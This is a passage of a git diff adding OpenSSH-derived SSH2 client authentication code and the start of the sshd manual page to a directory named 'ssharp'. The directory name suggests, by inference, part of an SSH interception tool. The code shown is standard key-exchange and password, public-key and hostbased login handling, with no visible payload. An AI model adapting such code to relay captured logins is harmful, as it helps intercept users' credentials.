DEBUG_KEXDH + /* send 1st encrypted/maced/compressed message */ + packet_start(SSH2_MSG_IGNORE); + packet_put_cstring("markus"); + packet_send(); + packet_write_wait(); +#endif + debug("done: ssh_kex2."); +} + +/* + * Authenticate user + */ + +typedef struct Authctxt Authctxt; +typedef struct Authmethod Authmethod; + +typedef int sign_cb_fn( + Authctxt *authctxt, Key *key, + u_char **sigp, int *lenp, u_char *data, int datalen); + +struct Authctxt { + const char *server_user; + const char *local_user; + const char *pass; + const char *host; + const char *service; + Authmethod *method; + int success; + char *authlist; + /* pubkey */ + Key *last_key; + sign_cb_fn *last_key_sign; + int last_key_hint; + AuthenticationConnection *agent; + /* hostbased */ + Key **keys; + int nkeys; +}; +struct Authmethod { + char *name; /* string to compare against server's list */ + int (*userauth)(Authctxt *authctxt); + int *enabled; /* flag in option struct that enables method */ + int *batch_flag; /* flag in option struct that disables method */ +}; + +void input_userauth_success(int type, int plen, void *ctxt); +void input_userauth_failure(int type, int plen, void *ctxt); +void input_userauth_banner(int type, int plen, void *ctxt); +void input_userauth_error(int type, int plen, void *ctxt); +void input_userauth_info_req(int type, int plen, void *ctxt); +void input_userauth_pk_ok(int type, int plen, void *ctxt); + +int userauth_none(Authctxt *authctxt); +int userauth_pubkey(Authctxt *authctxt); +int userauth_passwd(Authctxt *authctxt); +int userauth_kbdint(Authctxt *authctxt); +int userauth_hostbased(Authctxt *authctxt); + +void userauth(Authctxt *authctxt, char *authlist); + +int +sign_and_send_pubkey(Authctxt *authctxt, Key *k, + sign_cb_fn *sign_callback); +void clear_auth_state(Authctxt *authctxt); + +Authmethod *authmethod_get(char *authlist); +Authmethod *authmethod_lookup(const char *name); +char *authmethods_get(void); + +Authmethod authmethods[] = { + {"publickey", + userauth_pubkey, + &options.pubkey_authentication, + NULL}, + {"password", + userauth_passwd, + &options.password_authentication, + &options.batch_mode}, + {"keyboard-interactive", + userauth_kbdint, + &options.kbd_interactive_authentication, + &options.batch_mode}, + {"hostbased", + userauth_hostbased, + &options.hostbased_authentication, + NULL}, + {"none", + userauth_none, + NULL, + NULL}, + {NULL, NULL, NULL, NULL} +}; + +void +ssh_userauth2(const char *login, const char *pass, char *host, + Key **keys, int nkeys) +{ + Authctxt authctxt; + int type; + int plen; + + if (options.challenge_reponse_authentication) + options.kbd_interactive_authentication = 1; + + debug("send SSH2_MSG_SERVICE_REQUEST"); + packet_start(SSH2_MSG_SERVICE_REQUEST); + packet_put_cstring("ssh-userauth"); + packet_send(); + packet_write_wait(); + type = packet_read(&plen); + if (type != SSH2_MSG_SERVICE_ACCEPT) { + fatal("denied SSH2_MSG_SERVICE_ACCEPT: %d", type); + } + if (packet_remaining() > 0) { + char *reply = packet_get_string(&plen); + debug("service_accept: %s", reply); + xfree(reply); + } else { + debug("buggy server: service_accept w/o service"); + } + packet_done(); + debug("got SSH2_MSG_SERVICE_ACCEPT"); + + if (options.preferred_authentications == NULL) + options.preferred_authentications = authmethods_get(); + + /* setup authentication context */ + authctxt.agent = ssh_get_authentication_connection(); + authctxt.server_user = login; + authctxt.local_user = login; + authctxt.pass = strdup(pass); + authctxt.host = host; + + authctxt.service = "ssh-connection"; /* service name */ + authctxt.success = 0; + authctxt.method = authmethod_lookup("none"); + authctxt.authlist = NULL; + authctxt.keys = keys; + authctxt.nkeys = nkeys; + if (authctxt.method == NULL) + fatal("ssh_userauth2: internal error: cannot send userauth none request"); + + /* initial userauth request */ + userauth_none(&authctxt); + + dispatch_init(&input_userauth_error); + dispatch_set(SSH2_MSG_USERAUTH_SUCCESS, &input_userauth_success); + dispatch_set(SSH2_MSG_USERAUTH_FAILURE, &input_userauth_failure); + dispatch_set(SSH2_MSG_USERAUTH_BANNER, &input_userauth_banner); + dispatch_run(DISPATCH_BLOCK, &authctxt.success, &authctxt); /* loop until success */ + + if (authctxt.agent != NULL) + ssh_close_authentication_connection(authctxt.agent); + + debug("ssh-userauth2 successful: method %s", authctxt.method->name); +} +void +userauth(Authctxt *authctxt, char *authlist) +{ + if (authlist == NULL) { + authlist = authctxt->authlist; + } else { + if (authctxt->authlist) + xfree(authctxt->authlist); + authctxt->authlist = authlist; + } + for (;;) { + Authmethod *method = authmethod_get(authlist); + if (method == NULL) + fatal("Permission denied (%s).", authlist); + authctxt->method = method; + if (method->userauth(authctxt) != 0) { + debug2("we sent a %s packet, wait for reply", method->name); + break; + } else { + debug2("we did not send a packet, disable method"); + method->enabled = NULL; + } + } +} +void +input_userauth_error(int type, int plen, void *ctxt) +{ + fatal("input_userauth_error: bad message during authentication: " + "type %d", type); +} +void +input_userauth_banner(int type, int plen, void *ctxt) +{ + char *msg, *lang; + debug3("input_userauth_banner"); + msg = packet_get_string(NULL); + lang = packet_get_string(NULL); + fprintf(stderr, "%s", msg); + xfree(msg); + xfree(lang); +} +void +input_userauth_success(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + if (authctxt == NULL) + fatal("input_userauth_success: no authentication context"); + if (authctxt->authlist) + xfree(authctxt->authlist); + clear_auth_state(authctxt); + authctxt->success = 1; /* break out */ +} +void +input_userauth_failure(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + char *authlist = NULL; + int partial; + + if (authctxt == NULL) + fatal("input_userauth_failure: no authentication context"); + + authlist = packet_get_string(NULL); + partial = packet_get_char(); + packet_done(); + + if (partial != 0) + log("Authenticated with partial success."); + debug("authentications that can continue: %s", authlist); + + clear_auth_state(authctxt); + userauth(authctxt, authlist); +} +void +input_userauth_pk_ok(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + Key *key = NULL; + Buffer b; + int alen, blen, sent = 0; + char *pkalg, *pkblob, *fp; + + if (authctxt == NULL) + fatal("input_userauth_pk_ok: no authentication context"); + if (datafellows & SSH_BUG_PKOK) { + /* this is similar to SSH_BUG_PKAUTH */ + debug2("input_userauth_pk_ok: SSH_BUG_PKOK"); + pkblob = packet_get_string(&blen); + buffer_init(&b); + buffer_append(&b, pkblob, blen); + pkalg = buffer_get_string(&b, &alen); + buffer_free(&b); + } else { + pkalg = packet_get_string(&alen); + pkblob = packet_get_string(&blen); + } + packet_done(); + + debug("input_userauth_pk_ok: pkalg %s blen %d lastkey %p hint %d", + pkalg, blen, authctxt->last_key, authctxt->last_key_hint); + + do { + if (authctxt->last_key == NULL || + authctxt->last_key_sign == NULL) { + debug("no last key or no sign cb"); + break; + } + if (key_type_from_name(pkalg) == KEY_UNSPEC) { + debug("unknown pkalg %s", pkalg); + break; + } + if ((key = key_from_blob(pkblob, blen)) == NULL) { + debug("no key from blob. pkalg %s", pkalg); + break; + } + fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); + debug2("input_userauth_pk_ok: fp %s", fp); + xfree(fp); + if (!key_equal(key, authctxt->last_key)) { + debug("key != last_key"); + break; + } + sent = sign_and_send_pubkey(authctxt, key, + authctxt->last_key_sign); + } while(0); + + if (key != NULL) + key_free(key); + xfree(pkalg); + xfree(pkblob); + + /* unregister */ + clear_auth_state(authctxt); + dispatch_set(SSH2_MSG_USERAUTH_PK_OK, NULL); + + /* try another method if we did not send a packet*/ + if (sent == 0) + userauth(authctxt, NULL); + +} + +int +userauth_none(Authctxt *authctxt) +{ + /* initial userauth request */ + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(authctxt->server_user); + packet_put_cstring(authctxt->service); + packet_put_cstring(authctxt->method->name); + packet_send(); + return 1; +} + +int +userauth_passwd(Authctxt *authctxt) +{ + static int attempt = 0; + const char *password; + + if (attempt++ >= options.number_of_password_prompts) + return 0; + + if(attempt != 1) + error("Permission denied, please try again."); + + password = authctxt->pass; + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(authctxt->server_user); + packet_put_cstring(authctxt->service); + packet_put_cstring(authctxt->method->name); + packet_put_char(0); + packet_put_cstring(password); + packet_inject_ignore(64); + packet_send(); + return 1; +} + +void +clear_auth_state(Authctxt *authctxt) +{ + /* XXX clear authentication state */ + if (authctxt->last_key != NULL && authctxt->last_key_hint == -1) { + debug3("clear_auth_state: key_free %p", authctxt->last_key); + key_free(authctxt->last_key); + } + authctxt->last_key = NULL; + authctxt->last_key_hint = -2; + authctxt->last_key_sign = NULL; +} + +int +sign_and_send_pubkey(Authctxt *authctxt, Key *k, sign_cb_fn *sign_callback) +{ + Buffer b; + u_char *blob, *signature; + int bloblen, slen; + int skip = 0; + int ret = -1; + int have_sig = 1; + + debug3("sign_and_send_pubkey"); + + if (key_to_blob(k, &blob, &bloblen) == 0) { + /* we cannot handle this key */ + debug3("sign_and_send_pubkey: cannot handle key"); + return 0; + } + /* data to be signed */ + buffer_init(&b); + if (datafellows & SSH_OLD_SESSIONID) { + buffer_append(&b, session_id2, session_id2_len); + skip = session_id2_len; + } else { + buffer_put_string(&b, session_id2, session_id2_len); + skip = buffer_len(&b); + } + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, authctxt->server_user); + buffer_put_cstring(&b, + datafellows & SSH_BUG_PKSERVICE ? + "ssh-userauth" : + authctxt->service); + if (datafellows & SSH_BUG_PKAUTH) { + buffer_put_char(&b, have_sig); + } else { + buffer_put_cstring(&b, authctxt->method->name); + buffer_put_char(&b, have_sig); + buffer_put_cstring(&b, key_ssh_name(k)); + } + buffer_put_string(&b, blob, bloblen); + + /* generate signature */ + ret = (*sign_callback)(authctxt, k, &signature, &slen, + buffer_ptr(&b), buffer_len(&b)); + if (ret == -1) { + xfree(blob); + buffer_free(&b); + return 0; + } +#ifdef DEBUG_PK + buffer_dump(&b); +#endif + if (datafellows & SSH_BUG_PKSERVICE) { + buffer_clear(&b); + buffer_append(&b, session_id2, session_id2_len); + skip = session_id2_len; + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, authctxt->server_user); + buffer_put_cstring(&b, authctxt->service); + buffer_put_cstring(&b, authctxt->method->name); + buffer_put_char(&b, have_sig); + if (!(datafellows & SSH_BUG_PKAUTH)) + buffer_put_cstring(&b, key_ssh_name(k)); + buffer_put_string(&b, blob, bloblen); + } + xfree(blob); + + /* append signature */ + buffer_put_string(&b, signature, slen); + xfree(signature); + + /* skip session id and packet type */ + if (buffer_len(&b) < skip + 1) + fatal("userauth_pubkey: internal error"); + buffer_consume(&b, skip + 1); + + /* put remaining data from buffer into packet */ + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_raw(buffer_ptr(&b), buffer_len(&b)); + buffer_free(&b); + packet_send(); + + return 1; +} + +int +send_pubkey_test(Authctxt *authctxt, Key *k, sign_cb_fn *sign_callback, + int hint) +{ + u_char *blob; + int bloblen, have_sig = 0; + + debug3("send_pubkey_test"); + + if (key_to_blob(k, &blob, &bloblen) == 0) { + /* we cannot handle this key */ + debug3("send_pubkey_test: cannot handle key"); + return 0; + } + /* register callback for USERAUTH_PK_OK message */ + authctxt->last_key_sign = sign_callback; + authctxt->last_key_hint = hint; + authctxt->last_key = k; + dispatch_set(SSH2_MSG_USERAUTH_PK_OK, &input_userauth_pk_ok); + + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(authctxt->server_user); + packet_put_cstring(authctxt->service); + packet_put_cstring(authctxt->method->name); + packet_put_char(have_sig); + if (!(datafellows & SSH_BUG_PKAUTH)) + packet_put_cstring(key_ssh_name(k)); + packet_put_string(blob, bloblen); + xfree(blob); + packet_send(); + return 1; +} + +Key * +load_identity_file(char *filename) +{ + Key *private; + char prompt[300], *passphrase; + int quit, i; + struct stat st; + + if (stat(filename, &st) < 0) { + debug3("no such identity: %s", filename); + return NULL; + } + private = key_load_private_type(KEY_UNSPEC, filename, "", NULL); + if (private == NULL) { + if (options.batch_mode) + return NULL; + snprintf(prompt, sizeof prompt, + "Enter passphrase for key '%.100s': ", filename); + for (i = 0; i < options.number_of_password_prompts; i++) { + passphrase = read_passphrase(prompt, 0); + if (strcmp(passphrase, "") != 0) { + private = key_load_private_type(KEY_UNSPEC, filename, + passphrase, NULL); + quit = 0; + } else { + debug2("no passphrase given, try next key"); + quit = 1; + } + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + if (private != NULL || quit) + break; + debug2("bad passphrase given, try again..."); + } + } + return private; +} + +int +identity_sign_cb(Authctxt *authctxt, Key *key, u_char **sigp, int *lenp, + u_char *data, int datalen) +{ + Key *private; + int idx, ret; + + idx = authctxt->last_key_hint; + if (idx < 0) + return -1; + private = load_identity_file(options.identity_files[idx]); + if (private == NULL) + return -1; + ret = key_sign(private, sigp, lenp, data, datalen); + key_free(private); + return ret; +} + +int agent_sign_cb(Authctxt *authctxt, Key *key, u_char **sigp, int *lenp, + u_char *data, int datalen) +{ + return ssh_agent_sign(authctxt->agent, key, sigp, lenp, data, datalen); +} + +int key_sign_cb(Authctxt *authctxt, Key *key, u_char **sigp, int *lenp, + u_char *data, int datalen) +{ + return key_sign(key, sigp, lenp, data, datalen); +} + +int +userauth_pubkey_agent(Authctxt *authctxt) +{ + static int called = 0; + int ret = 0; + char *comment; + Key *k; + + if (called == 0) { + if (ssh_get_num_identities(authctxt->agent, 2) == 0) + debug2("userauth_pubkey_agent: no keys at all"); + called = 1; + } + k = ssh_get_next_identity(authctxt->agent, &comment, 2); + if (k == NULL) { + debug2("userauth_pubkey_agent: no more keys"); + } else { + debug("userauth_pubkey_agent: testing agent key %s", comment); + xfree(comment); + ret = send_pubkey_test(authctxt, k, agent_sign_cb, -1); + if (ret == 0) + key_free(k); + } + if (ret == 0) + debug2("userauth_pubkey_agent: no message sent"); + return ret; +} + +int +userauth_pubkey(Authctxt *authctxt) +{ + static int idx = 0; + int sent = 0; + Key *key; + char *filename; + + if (authctxt->agent != NULL) { + do { + sent = userauth_pubkey_agent(authctxt); + } while(!sent && authctxt->agent->howmany > 0); + } + while (!sent && idx < options.num_identity_files) { + key = options.identity_keys[idx]; + filename = options.identity_files[idx]; + if (key == NULL) { + debug("try privkey: %s", filename); + key = load_identity_file(filename); + if (key != NULL) { + sent = sign_and_send_pubkey(authctxt, key, + key_sign_cb); + key_free(key); + } + } else if (key->type != KEY_RSA1) { + debug("try pubkey: %s", filename); + sent = send_pubkey_test(authctxt, key, + identity_sign_cb, idx); + } + idx++; + } + return sent; +} + +/* + * Send userauth request message specifying keyboard-interactive method. + */ +int +userauth_kbdint(Authctxt *authctxt) +{ + static int attempt = 0; + + if (attempt++ >= options.number_of_password_prompts) + return 0; + + debug2("userauth_kbdint"); + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(authctxt->server_user); + packet_put_cstring(authctxt->service); + packet_put_cstring(authctxt->method->name); + packet_put_cstring(""); /* lang */ + packet_put_cstring(options.kbd_interactive_devices ? + options.kbd_interactive_devices : ""); + packet_send(); + + dispatch_set(SSH2_MSG_USERAUTH_INFO_REQUEST, &input_userauth_info_req); + return 1; +} + +/* + * parse INFO_REQUEST, prompt user and send INFO_RESPONSE + */ +void +input_userauth_info_req(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + char *name, *inst, *lang, *prompt, *response; + u_int num_prompts, i; + int echo = 0; + + debug2("input_userauth_info_req"); + + if (authctxt == NULL) + fatal("input_userauth_info_req: no authentication context"); + + name = packet_get_string(NULL); + inst = packet_get_string(NULL); + lang = packet_get_string(NULL); + if (strlen(name) > 0) + cli_mesg(name); + if (strlen(inst) > 0) + cli_mesg(inst); + xfree(name); + xfree(inst); + xfree(lang); + + num_prompts = packet_get_int(); + /* + * Begin to build info response packet based on prompts requested. + * We commit to providing the correct number of responses, so if + * further on we run into a problem that prevents this, we have to + * be sure and clean this up and send a correct error response. + */ + packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE); + packet_put_int(num_prompts); + + for (i = 0; i < num_prompts; i++) { + prompt = packet_get_string(NULL); + echo = packet_get_char(); + + response = cli_prompt(prompt, echo); + + packet_put_cstring(response); + memset(response, 0, strlen(response)); + xfree(response); + xfree(prompt); + } + packet_done(); /* done with parsing incoming message. */ + + packet_inject_ignore(64); + packet_send(); +} + +/* + * this will be move to an external program (ssh-keysign) ASAP. ssh-keysign + * will be setuid-root and the sbit can be removed from /usr/bin/ssh. + */ +int +userauth_hostbased(Authctxt *authctxt) +{ + Key *private = NULL; + Buffer b; + u_char *signature, *blob; + char *chost, *pkalg, *p; + const char *service; + u_int blen, slen; + int ok, i, len, found = 0; + + p = get_local_name(packet_get_connection_in()); + if (p == NULL) { + error("userauth_hostbased: cannot get local ipaddr/name"); + return 0; + } + len = strlen(p) + 2; + chost = xmalloc(len); + strlcpy(chost, p, len); + strlcat(chost, ".", len); + debug2("userauth_hostbased: chost %s", chost); + /* check for a useful key */ + for (i = 0; i < authctxt->nkeys; i++) { + private = authctxt->keys[i]; + if (private && private->type != KEY_RSA1) { + found = 1; + /* we take and free the key */ + authctxt->keys[i] = NULL; + break; + } + } + if (!found) { + xfree(chost); + return 0; + } + if (key_to_blob(private, &blob, &blen) == 0) { + key_free(private); + xfree(chost); + return 0; + } + service = datafellows & SSH_BUG_HBSERVICE ? "ssh-userauth" : + authctxt->service; + pkalg = xstrdup(key_ssh_name(private)); + buffer_init(&b); + /* construct data */ + buffer_put_string(&b, session_id2, session_id2_len); + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, authctxt->server_user); + buffer_put_cstring(&b, service); + buffer_put_cstring(&b, authctxt->method->name); + buffer_put_cstring(&b, pkalg); + buffer_put_string(&b, blob, blen); + buffer_put_cstring(&b, chost); + buffer_put_cstring(&b, authctxt->local_user); +#ifdef DEBUG_PK + buffer_dump(&b); +#endif + debug2("xxx: chost %s", chost); + ok = key_sign(private, &signature, &slen, buffer_ptr(&b), buffer_len(&b)); + key_free(private); + buffer_free(&b); + if (ok != 0) { + error("key_sign failed"); + xfree(chost); + xfree(pkalg); + return 0; + } + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(authctxt->server_user); + packet_put_cstring(authctxt->service); + packet_put_cstring(authctxt->method->name); + packet_put_cstring(pkalg); + packet_put_string(blob, blen); + packet_put_cstring(chost); + packet_put_cstring(authctxt->local_user); + packet_put_string(signature, slen); + memset(signature, 's', slen); + xfree(signature); + xfree(chost); + xfree(pkalg); + + packet_send(); + return 1; +} + +/* find auth method */ + +/* + * given auth method name, if configurable options permit this method fill + * in auth_ident field and return true, otherwise return false. + */ +int +authmethod_is_enabled(Authmethod *method) +{ + if (method == NULL) + return 0; + /* return false if options indicate this method is disabled */ + if (method->enabled == NULL || *method->enabled == 0) + return 0; + /* return false if batch mode is enabled but method needs interactive mode */ + if (method->batch_flag != NULL && *method->batch_flag != 0) + return 0; + return 1; +} + +Authmethod * +authmethod_lookup(const char *name) +{ + Authmethod *method = NULL; + if (name != NULL) + for (method = authmethods; method->name != NULL; method++) + if (strcmp(name, method->name) == 0) + return method; + debug2("Unrecognized authentication method name: %s", name ? name : "NULL"); + return NULL; +} + +/* XXX internal state */ +static Authmethod *current = NULL; +static char *supported = NULL; +static char *preferred = NULL; +/* + * Given the authentication method list sent by the server, return the + * next method we should try. If the server initially sends a nil list, + * use a built-in default list. + */ +Authmethod * +authmethod_get(char *authlist) +{ + + char *name = NULL; + int next; + + /* Use a suitable default if we're passed a nil list. */ + if (authlist == NULL || strlen(authlist) == 0) + authlist = options.preferred_authentications; + + if (supported == NULL || strcmp(authlist, supported) != 0) { + debug3("start over, passed a different list %s", authlist); + if (supported != NULL) + xfree(supported); + supported = xstrdup(authlist); + preferred = options.preferred_authentications; + debug3("preferred %s", preferred); + current = NULL; + } else if (current != NULL && authmethod_is_enabled(current)) + return current; + + for (;;) { + if ((name = match_list(preferred, supported, &next)) == NULL) { + debug("no more auth methods to try"); + current = NULL; + return NULL; + } + preferred += next; + debug3("authmethod_lookup %s", name); + debug3("remaining preferred: %s", preferred); + if ((current = authmethod_lookup(name)) != NULL && + authmethod_is_enabled(current)) { + debug3("authmethod_is_enabled %s", name); + debug("next auth method to try is %s", name); + return current; + } + } +} + + +#define DELIM "," +char * +authmethods_get(void) +{ + Authmethod *method = NULL; + char buf[1024]; + + buf[0] = '\0'; + for (method = authmethods; method->name != NULL; method++) { + if (authmethod_is_enabled(method)) { + if (buf[0] != '\0') + strlcat(buf, DELIM, sizeof buf); + strlcat(buf, method->name, sizeof buf); + } + } + return xstrdup(buf); +} diff --git a/other/ssharp/sshd.0 b/other/ssharp/sshd.0 new file mode 100644 index 0000000..0d9e741 --- /dev/null +++ b/other/ssharp/sshd.0 @@ -0,0 +1,866 @@ + +SSHD(8) System Manager's Manual SSHD(8) + +NAME + sshd - OpenSSH SSH daemon + +SYNOPSIS + sshd [-deiqD46] [-b bits] [-f config_file] [-g login_grace_time] [-h + host_key_file] [-k key_gen_time] [-p port] [-u len] [-V + client_protocol_id] + +DESCRIPTION + sshd (SSH Daemon) is the daemon program for ssh(1). Together these proM-- + grams replace rlogin and rsh, and provide secure encrypted communications + between two untrusted hosts over an insecure network. The programs are + intended to be as easy to install and use as possible. + + sshd is the daemon that listens for connections from clients. It is norM-- + mally started at boot from /etc/rc. It forks a new daemon for each incomM-- + ing connection. The forked daemons handle key exchange, encryption, auM-- + thentication, command execution, and data exchange. This implementation + of sshd supports both SSH protocol version 1 and 2 simultaneously. sshd + works as follows. + + SSH protocol version 1 + + Each host has a host-specific RSA key (normally 1024 bits) used to idenM-- + tify the host. Additionally, when the daemon starts, it generates a + server RSA key (normally 768 bits). This key is normally regenerated evM-- + ery hour if it has been used, and is never stored on disk. + + Whenever a client connects the daemon responds with its public host and + server keys. The client compares the RSA host key against its own + database to verify that it has not changed. The client then generates a + 256 bit random number. It encrypts this random number using both the + host key and the server key, and sends the encrypted number to the servM-- + er. Both sides then use this random number as a session key which is + used to encrypt all further communications in the session. The rest of + the session is encrypted using a conventional cipher, currently Blowfish + or 3DES, with 3DES being used by default. The client selects the encrypM-- + tion algorithm to use from those offered by the server. + + Next, the server and the client enter an authentication dialog. The + client tries to authenticate itself using .rhosts authentication, .rhosts + authentication combined with RSA host authentication, RSA challenge-reM-- + sponse authentication, or password based authentication. + + Rhosts authentication is normally disabled because it is fundamentally + insecure, but can be enabled in the server configuration file if desired. + System security is not improved unless rshd(8), rlogind(8), rexecd(8), + and rexd(8) are disabled (thus completely disabling rlogin(1) and rsh(1) + into the machine). + + SSH protocol version 2 + + Version 2 works similarly: Each host has a host-specific DSA key used to + identify the host. However, when the daemon starts, it does not generate + a server key. Forward security is provided through a Diffie-Hellman key + agreement. This key agreement results in a shared session key. + + The rest of the session is encrypted using a symmetric cipher, currently + 128 bit AES, Blowfish, 3DES, CAST128, Arcfour, 192 bit AES, or 256 bit + AES. The client selects the encryption algorithm to use from those ofM-- + fered by the server. Additionally, session integrity is provided through + a cryptographic message authentication code (hmac-sha1 or hmac-md5). + + Protocol version 2 provides a public key based user (PubkeyAuthenticaM-- + tion) or client host (HostbasedAuthentication) authentication method, + conventional password authentication and challenge response based methM-- + ods. + + Command execution and data forwarding + + If the client successfully authenticates itself, a dialog for preparing + the session is entered. At this time the client may request things like + allocating a pseudo-tty, forwarding X11 connections, forwarding TCP/IP + connections, or forwarding the authentication agent connection over the + secure channel. + + Finally, the client either requests a shell or execution of a command. + The sides then enter session mode. In this mode, either side may send + data at any time, and such data is forwarded to/from the shell or command + on the server side, and the user terminal in the client side. + + When the user program terminates and all forwarded X11 and other connecM-- + tions have been closed, the server sends command exit status to the + client, and both sides exit. + + sshd can be configured using command-line options or a configuration + file. Command-line options override values specified in the configuraM-- + tion file. + + sshd rereads its configuration file when it receives a hangup signal, + SIGHUP, by executing itself with the name it was started as, ie. + /usr/sbin/sshd. + + The options are as follows: + + -b bits + Specifies the number of bits in the ephemeral protocol version 1 + server key (default 768). + + -d Debug mode. The server sends verbose debug output to the system + log, and does not put itself in the background. The server also + will not fork and will only process one connection. This option + is only intended for debugging for the server. Multiple -d opM-- + tions increase the debugging level. Maximum is 3. + + -e When this option is specified, sshd will send the output to the + standard error instead of the system log. + + -f configuration_file + Specifies the name of the configuration file. The default is + /etc/sshd_config. sshd refuses to start if there is no configuraM-- + tion file. + + -g login_grace_time + Gives the grace time for clients to authenticate themselves (deM-- + fault 600 seconds). If the client fails to authenticate the user + within this many seconds, the server disconnects and exits. A + value of zero indicates no limit. + + -h host_key_file + Specifies the file from which the host key is read (default + /etc/ssh_host_key). This option must be given if sshd is not run + as root (as the normal host file is normally not readable by anyM-- + one but root). It is possible to have multiple host key files + for the different protocol versions and host key algorithms. + + -i Specifies that sshd is being run from inetd. sshd is normally + not run from inetd because it needs to generate the server key + before it can respond to the client, and this may take tens of + seconds. Clients would have to wait too long if the key was reM-- + generated every time. However, with small key sizes (e.g., 512) + using sshd from inetd may be feasible. + + -k key_gen_time + Specifies how often the ephemeral protocol version 1 server key + is regenerated (default 3600 seconds, or one hour). The motivaM-- + tion for regenerating the key fairly often is that the key is not + stored anywhere, and after about an hour, it becomes impossible + to recover the key for decrypting intercepted communications even + if the machine is cracked into or physically seized. A value of + zero indicates that the key will never be regenerated. + + -p port + Specifies the port on which the server listens for connections + (default 22). + + -q Quiet mode. Nothing is sent to the system log. Normally the beM-- + ginning, authentication, and termination of each connection is + logged. + + -u len This option is used to specify the size of the field in the utmp + structure that holds the remote host name. If the resolved host + name is longer than len, the dotted decimal value will be used + instead. This allows hosts with very long host names that overM-- + flow this field to still be uniquely identified. Specifying -u0 + indicates that only dotted decimal addresses should be put into + the utmp file. + + -D When this option is specified sshd will not detach and does not + become a daemon. This allows easy monitoring of sshd. + + -4 Forces sshd to use IPv4 addresses only. + + -6 Forces sshd to use IPv6 addresses only. + +CONFIGURATION FILE + sshd reads configuration data from /etc/sshd_config (or the file speciM-- + fied with -f on the command line). The file contains keyword-value + pairs, one per line. Lines starting with `#' and empty lines are interM-- + preted as comments. + + The following keywords are possible. + + AFSTokenPassing + Specifies whether an AFS token may be forwarded to the server. + Default is ``yes''. + + AllowGroups + This keyword can be followed by a list of group names, separated + by spaces. If specified, login is allowed only for users whose + primary group or supplementary group list matches one of the patM-- + terns. `*' and `?' can be used as wildcards in the patterns. + Only group names are valid; a numerical group ID isn't recogM-- + nized. By default login is allowed regardless of the group list. + + AllowTcpForwarding + Specifies whether TCP forwarding is permitted. The default is + ``yes''. Note that disabling TCP forwarding does not improve seM-- + curity unless users are also denied shell access, as they can alM-- + ways install their own forwarders. + + AllowUsers + This keyword can be followed by a list of user names, separated + by spaces. If specified, login is allowed only for users names + that match one of the patterns. `*' and `?' can be used as wildM-- + cards in the patterns. Only user names are valid; a numerical + user ID isn't recognized. By default login is allowed regardless + of the user name. + + Banner In some jurisdictions, sending a warning message before authentiM-- + cation may be relevant for getting legal protection. The conM-- + tents of the specified file are sent to the remote user before + authentication is allowed. This option is only available for + protocol version 2. + + ChallengeResponseAuthentication + Specifies whether challenge response authentication is allowed. + Currently there is only support for skey(1) authentication. The + default is ``yes''. + + Ciphers + Specifies the ciphers allowed for protocol version 2. Multiple + ciphers must be comma-separated. The default is + ``aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour.'' + + CheckMail + Specifies whether sshd should check for new mail for interactive + logins. The default is ``no''. + + ClientAliveInterval + Sets a timeout interval in seconds after which if no data has + been received from the client, sshd will send a message through + the encrypted channel to request a response from the client. The + default is 0, indicating that these messages will not be sent to + the client. This option applies to protocol version 2 only. + + ClientAliveCountMax + Sets the number of client alive messages (see above) which may be + sent without sshd receiving any messages back from the client. If + this threshold is reached while client alive messages are being + sent, sshd will disconnect the client, terminating the session. + It is important to note that the use of client alive messages is + very different from Keepalive (below). The client alive messages + are sent through the encrypted channel and therefore will not be + spoofable. The TCP keepalive option enabled by Keepalive is + spoofable. You want to use the client alive mechanism when you + are basing something important on clients having an active conM-- + nection to the server. + + The default value is 3. If you set ClientAliveInterval (above) to + 15, and leave this value at the default, unresponsive ssh clients + will be disconnected after approximately 45 seconds. + + DenyGroups + This keyword can be followed by a number of group names, separatM-- + ed by spaces. Users whose primary group or supplementary group + list matches one of the patterns aren't allowed to log in. `*' + and `?' can be used as wildcards in the patterns. Only group + names are valid; a numerical group ID isn't recognized. By deM-- + fault login is allowed regardless of the group list. + + DenyUsers + This keyword can be followed by a number of user names, separated + by spaces. Login is disallowed for user names that match one of + the patterns. `*' and `?' can be used as wildcards in the patM-- + terns. Only user names are valid; a numerical user ID isn't recM-- + ognized. By default login is allowed regardless of the user + name. + + GatewayPorts + Specifies whether remote hosts are allowed to connect to ports + forwarded for the client. The argument must be ``yes'' or + ``no''. The default is ``no''. + + HostbasedAuthentication + Specifies whether rhosts or /etc/hosts.equiv authentication toM-- + gether with successful public key client host authentication is + allowed (hostbased authentication). This option is similar to + RhostsRSAAuthentication and applies to protocol version 2 only. + The default is ``no''. + + HostKey + Specifies the file containing the private host keys (default + /etc/ssh_host_key) used by SSH protocol versions 1 and 2. Note + that sshd will refuse to use a file if it is group/world-accessiM-- + ble. It is possible to have multiple host key files. ``rsa1'' + keys are used for version 1 and ``dsa'' or ``rsa'' are used for + version 2 of the SSH protocol. + + IgnoreRhosts + Specifies that .rhosts and .shosts files will not be used in + RhostsAuthentication, RhostsRSAAuthentication or + HostbasedAuthentication. + + /etc/hosts.equiv and /etc/shosts.equiv are still used. The deM-- + fault is ``yes''. + + IgnoreUserKnownHosts + Specifies whether sshd should ignore the user's + $HOME/.ssh/known_hosts during RhostsRSAAuthentication or + HostbasedAuthentication. The default is ``no''. + + KeepAlive + Specifies whether the system should send keepalive messages to + the other side. If they are sent, death of the connection or + crash of one of the machines will be properly noticed. However, + this means that connections will die if the route is down temM-- + porarily, and some people find it annoying. On the other hand, + if keepalives are not sent, sessions may hang indefinitely on the + server, leaving 